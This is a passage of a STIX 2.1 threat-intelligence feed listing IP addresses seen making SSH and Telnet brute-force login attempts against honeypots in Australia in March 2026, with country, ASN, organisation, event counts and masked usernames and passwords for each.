      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262588. Organisation(s): EXPLORERNET INFOLINK TECNOLOGIA E TELECOMUNICACOES.",
      "id": "indicator--dfb00475-508f-4c9e-94a0-83f6f126d53b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T13:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.75.49.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T13:15:57.000Z",
      "valid_until": "2026-04-26T13:15:02.000Z"
    },
    {
      "created": "2026-03-25T13:15:57.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 208324. Organisation(s): Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist.",
      "id": "indicator--8bcb251c-225a-47ca-b0d4-082fbbaba04b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T13:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.127.110.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T13:15:57.000Z",
      "valid_until": "2026-04-26T13:15:02.000Z"
    },
    {
      "created": "2026-03-25T13:15:57.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--66017db8-4039-41e0-b7a3-c27ed0bb0d89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T13:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T13:15:57.000Z",
      "valid_until": "2026-04-26T13:15:02.000Z"
    },
    {
      "created": "2026-03-25T13:15:57.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc..",
      "id": "indicator--d4ce4c86-487f-4d16-8a59-de2fd5e7a85c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T13:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.126.8.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T13:15:57.000Z",
      "valid_until": "2026-04-26T13:15:02.000Z"
    },
    {
      "created": "2026-03-25T13:15:57.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 6327. Organisation(s): Shaw Communications. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d, r**t.",
      "id": "indicator--e6c5068b-98da-4f70-a8d8-241adc941bd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T13:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '24.65.228.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T13:15:57.000Z",
      "valid_until": "2026-04-26T13:15:02.000Z"
    },
    {
      "created": "2026-03-25T15:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--ef6d2e21-8add-47cc-9462-38d86ae9af3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T15:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.18.14.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T15:15:05.000Z",
      "valid_until": "2026-04-26T15:15:01.000Z"
    },
    {
      "created": "2026-03-25T15:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 543. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, ***, m*****r, t**t. Passwords observed (masked): a***n, 1**4, 1***5, 1****6, a****3.",
      "id": "indicator--5f9ae07a-8bcd-465d-8e9e-8d704b4adfe9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T15:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.99.169.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T15:15:05.000Z",
      "valid_until": "2026-04-26T15:15:01.000Z"
    },
    {
      "created": "2026-03-25T15:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): d***s, **. Passwords observed (masked): d***s, **.",
      "id": "indicator--837cb13b-472a-42aa-8a86-042a4d87fb25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T15:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.118.201.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T15:15:05.000Z",
      "valid_until": "2026-04-26T15:15:01.000Z"
    },
    {
      "created": "2026-03-25T15:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 488. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, c***o, s*****t, t**t. Passwords observed (masked): 1****6, p******d, 1**4, a***n, 0********1.",
      "id": "indicator--102ba5b0-4d2a-4e89-83d2-a4a3c71bf1d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T15:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.4.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T15:15:05.000Z",
      "valid_until": "2026-04-26T15:15:01.000Z"
    },
    {
      "created": "2026-03-25T16:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): c*******a, ***. Passwords observed (masked): c*******a, ***.",
      "id": "indicator--9514a909-c0be-4671-acb7-f0db7439a184",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T16:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.163.132.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T16:15:36.000Z",
      "valid_until": "2026-04-26T16:15:02.000Z"
    },
    {
      "created": "2026-03-25T16:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): i**b. Passwords observed (masked): i**b.",
      "id": "indicator--68fd6af7-3e02-40e5-9e42-63a0448e8c85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T16:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.163.132.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T16:15:36.000Z",
      "valid_until": "2026-04-26T16:15:02.000Z"
    },
    {
      "created": "2026-03-25T16:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): g****b, r**t. Passwords observed (masked): P******d, g****b.",
      "id": "indicator--a5a19b7c-7b49-405a-8505-741064783985",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T16:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.41.236.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T16:15:36.000Z",
      "valid_until": "2026-04-26T16:15:02.000Z"
    },
    {
      "created": "2026-03-25T16:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): , A**************************************************************6, G************1, b*****************************************'. Passwords observed (masked): , H**********************3, U*********************************************************************************************************************************************0, g************************0.",
      "id": "indicator--4be9893c-ff2f-4a2d-8e4d-8549e821930d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T16:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '156.229.16.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T16:15:36.000Z",
      "valid_until": "2026-04-26T16:15:02.000Z"
    },
    {
      "created": "2026-03-25T16:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BD. ASN(s): 63969. Organisation(s): Race Online Limited.",
      "id": "indicator--a1c7bf7f-af0f-447d-b75e-e7a4dba40ff1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T16:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.48.80.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T16:15:36.000Z",
      "valid_until": "2026-04-26T16:15:02.000Z"
    },
    {
      "created": "2026-03-25T16:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--a42c74fe-4319-4b9e-9b77-07e0ae983445",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T16:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T16:15:36.000Z",
      "valid_until": "2026-04-26T16:15:02.000Z"
    },
    {
      "created": "2026-03-25T16:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4812. Organisation(s): China Telecom Group. Usernames observed (masked): c*****n. Passwords observed (masked): c*****n.",
      "id": "indicator--23ab7701-bb07-487e-9a47-b4db3bf90a29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T16:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '218.78.132.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T16:15:36.000Z",
      "valid_until": "2026-04-26T16:15:02.000Z"
    },
    {
      "created": "2026-03-25T16:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 29119. Organisation(s): Aire Networks Del Mediterraneo Sl Unipersonal.",
      "id": "indicator--b96985f8-c274-4d8c-853f-f5fdefcb2693",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T16:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '89.43.86.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T16:15:36.000Z",
      "valid_until": "2026-04-26T16:15:02.000Z"
    },
    {
      "created": "2026-03-25T18:17:35.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 263822. Organisation(s): GRUPO EQUIS S.A.. Usernames observed (masked): a****a. Passwords observed (masked): a****a.",
      "id": "indicator--7a0cf02b-6041-4bc9-a25b-cd083e275760",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T18:17:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '179.62.216.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T18:17:35.000Z",
      "valid_until": "2026-04-26T18:15:12.000Z"
    },
    {
      "created": "2026-03-25T21:15:37.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--0f7fdf1e-90b2-4492-b2d0-c71af50d8752",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T21:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.48.174.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T21:15:37.000Z",
      "valid_until": "2026-04-26T21:15:00.000Z"
    },
    {
      "created": "2026-03-25T21:15:37.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): y**i, 3**********4, i*******t, k***n, r*******p. Passwords observed (masked): 3***********4, 3**********4, i*******t, k***n, r*******p.",
      "id": "indicator--6478d7cb-6927-41c9-bd44-5072052c3ddb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T21:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.232.176.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T21:15:37.000Z",
      "valid_until": "2026-04-26T21:15:00.000Z"
    },
    {
      "created": "2026-03-25T21:15:37.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11776. Organisation(s): Breezeline.",
      "id": "indicator--aef2a984-5371-4874-87ee-19b9062e005c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T21:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '24.145.69.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T21:15:37.000Z",
      "valid_until": "2026-04-26T21:15:00.000Z"
    },
    {
      "created": "2026-03-25T21:15:37.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--aec01adb-cd05-4702-a20b-b53fd9b49413",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T21:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.55.36.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T21:15:37.000Z",
      "valid_until": "2026-04-26T21:15:00.000Z"
    },
    {
      "created": "2026-03-25T21:15:37.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--9c936ead-5f5b-4243-8e59-43b128148cba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T21:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T21:15:37.000Z",
      "valid_until": "2026-04-26T21:15:00.000Z"
    },
    {
      "created": "2026-03-26T00:15:47.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 6805. Organisation(s): Telefonica Germany.",
      "id": "indicator--fb295eb7-ae04-41af-a708-6fab4cfadbbb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T00:15:47.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.54.37.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T00:15:47.000Z",
      "valid_until": "2026-04-27T00:15:01.000Z"
    },
    {
      "created": "2026-03-26T01:16:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 134319. Organisation(s): Elyzium Technologies Pvt. Ltd.. Usernames observed (masked): ***, 3**********4, r**t, s********o. Passwords observed (masked): 3***********4, 3**********4, P**********3, S***********3, g*****s.",
      "id": "indicator--73f7f218-26b0-4762-a303-184f517ed3b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T01:16:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.106.194.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T01:16:19.000Z",
      "valid_until": "2026-04-27T01:15:02.000Z"
    },
    {
      "created": "2026-03-26T01:16:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): p****t, a***e, b*****r. Passwords observed (masked): 1***5, 3***********4, a*******!, b*********!.",
      "id": "indicator--0f1b4939-7beb-435b-8988-d6375076eb02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T01:16:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.165.121.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T01:16:19.000Z",
      "valid_until": "2026-04-27T01:15:02.000Z"
    },
    {
      "created": "2026-03-26T01:16:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp.",
      "id": "indicator--59a58ee4-c9d8-4b35-8995-8cee1ac7338f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T01:16:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.226.175.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T01:16:19.000Z",
      "valid_until": "2026-04-27T01:15:02.000Z"
    },
    {
      "created": "2026-03-26T01:16:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 5410. Organisation(s): Bouygues Telecom SA. Usernames observed (masked): p****t, 3**********4, a***e, b*****r, e***n. Passwords observed (masked): 1***5, 3***********4, 3**********4, a*******!, b*********!.",
      "id": "indicator--bb62106b-0afe-4542-94aa-c5c9d4e6a396",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T01:16:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.176.81.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T01:16:19.000Z",
      "valid_until": "2026-04-27T01:15:02.000Z"
    },
    {
      "created": "2026-03-26T01:16:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): 3**********4, p******e, p****r, *, r**t. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1**********c, *.",
      "id": "indicator--590eee38-594b-48fb-9897-194d05a0a782",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T01:16:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.154.126.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T01:16:19.000Z",
      "valid_until": "2026-04-27T01:15:02.000Z"
    },
    {
      "created": "2026-03-26T01:16:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 14080. Organisation(s): Telmex Colombia S.A.. Usernames observed (masked): p****r, 3**********4, *, p******e, r**t. Passwords observed (masked): 1****6, 1**********c, 3***********4, 3**********4, *.",
      "id": "indicator--c645052e-51a6-44dc-85dd-cee7bd6c1820",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T01:16:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.145.192.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T01:16:19.000Z",
      "valid_until": "2026-04-27T01:15:02.000Z"
    },
    {
      "created": "2026-03-26T01:16:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--24495265-c15c-452d-9854-5d4a4a3c4db9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T01:16:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T01:16:19.000Z",
      "valid_until": "2026-04-27T01:15:02.000Z"
    },
    {
      "created": "2026-03-26T01:16:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--ade465b2-4b33-4f96-ba84-7a491a769b8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T01:16:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '3.83.106.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T01:16:19.000Z",
      "valid_until": "2026-04-27T01:15:02.000Z"
    },
    {
      "created": "2026-03-26T01:16:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): d****n, 3**********4, c**l, **, n***x. Passwords observed (masked): 1****6, ***, 1**4, 3***********4, 3**********4.",
      "id": "indicator--369d2f00-8e5a-4b89-aa66-db9328941364",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T01:16:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.92.6.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T01:16:19.000Z",
      "valid_until": "2026-04-27T01:15:02.000Z"
    },
    {
      "created": "2026-03-26T01:16:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): b*****r. Passwords observed (masked): b*********!.",
      "id": "indicator--b6c19b5c-2cfc-43e6-b9ae-7149e0e89c35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T01:16:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.166.242.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T01:16:19.000Z",
      "valid_until": "2026-04-27T01:15:02.000Z"
    },
    {
      "created": "2026-03-26T01:16:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 45458. Organisation(s): SBN-ISPAWN-ISP and SBN-NIXAWN-NIX. Usernames observed (masked): e***n. Passwords observed (masked): e*******s.",
